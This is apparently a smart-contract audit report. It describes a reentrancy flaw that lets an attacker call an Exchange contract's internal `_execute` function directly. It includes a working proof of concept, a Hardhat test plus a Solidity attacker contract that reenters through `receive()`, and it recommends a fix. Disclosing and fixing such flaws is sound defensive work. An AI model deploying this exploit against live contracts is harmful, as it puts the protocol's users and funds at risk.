# Reentrancy attack can be used to externally call the `_execute` function in the Exchange contract

The `_execute` function present in the Exchange contract is intended to be called only internally using `delegatecall` by the `execute` and `bulkExecute` functions. This is achieved by keeping track of the `isInternal` variable and using the `internalCall` modifier. However, it is possible to execute a reentrancy attack and call the `_execute` function directly from the outside.

## Impact

The `_returnDust()` function returns control to the caller by sending ETH and can be used to reenter the contract and call the `_execute` function. 

Note that, when `_returnDust()` is called, we are in the middle of the `execute` or `bulkExecute` call. This means that the value for the `isInternal` variable is still true. This allows us to bypass the `internalCall` modifier and access the `_execute` function externally, as shown in the following PoC.

Although such an attack is possible, I couldn't find any other side effect that could lead to stolen funds or NFTs. I'm assigning this issue a medium severity, feel free to discuss this, but at least I wanted to report the issue, that may eventually lead to a higher impact.

## PoC

Here Alice wants to sell an NFT for 1 ETH. Using the ReentrancyBuyer contract, we first send a modified payload that we know will fail on purpose to the `bulkExecute` function, which will return control to the calling contract when the `_returnDust()` function is executed. While this happens, we get the callback in the `receive` function and execute a **direct** call to the `_execute` function.

```
it('can bypass internal check and call _execute directly', async function() {
  const reentrancyContract = (await simpleDeploy('ReentrancyBuyer', [exchange.address])) as any;
  const price = ethers.utils.parseEther("1");
  
  sell = generateOrder(alice, {
    side: Side.Sell,
    tokenId,
    paymentToken: ethers.constants.AddressZero,
    price,
    fees: [],
  });
  
  buy = generateOrder(reentrancyContract, {
    side: Side.Buy,
    tokenId,
    price,
    paymentToken: ethers.constants.AddressZero,
    fees: [],
  });
  
  sellInput = await sell.pack();
  buyInput = await buy.packNoSigs();
  const executions = [{ sell: sellInput, buy: buyInput }];

  await waitForTx(
    reentrancyContract.startReentracy(executions, { value: price })
  );
  
  // The reentrancy call to _execute worked since we bought the NFT
  expect(await mockERC721.balanceOf(reentrancyContract.address)).to.eq(1);
});
```

The ReentrancyBuyer contract:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "../Exchange.sol";
import "../lib/OrderStructs.sol";

contract ReentrancyBuyer is IERC721Receiver {
    Exchange private immutable exchange;
    
    Input sell;
    Input buy;

    constructor(Exchange _exchange) {
        exchange = _exchange;
    }

    function startReentracy(Execution[] calldata executions) external payable {
        sell = executions[0].sell;
        buy = executions[0].buy;
        
        Execution[] memory executionsCopy = executions;
        
        // change something to make the order fail on purpose
        executionsCopy[0].buy.order.collection = address(0);
        
        // send just 1 wei to trigger the refund
        exchange.bulkExecute{value: msg.value}(executionsCopy);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {
        // here call the _execute function directly
        exchange._execute{value: address(this).balance}(sell, buy);
    }
}
```

## Recommendation

Move the `nonReentrant` modifier to the `execute` and `bulkExecute` functions. This way the whole call will be protected against reentrancy.
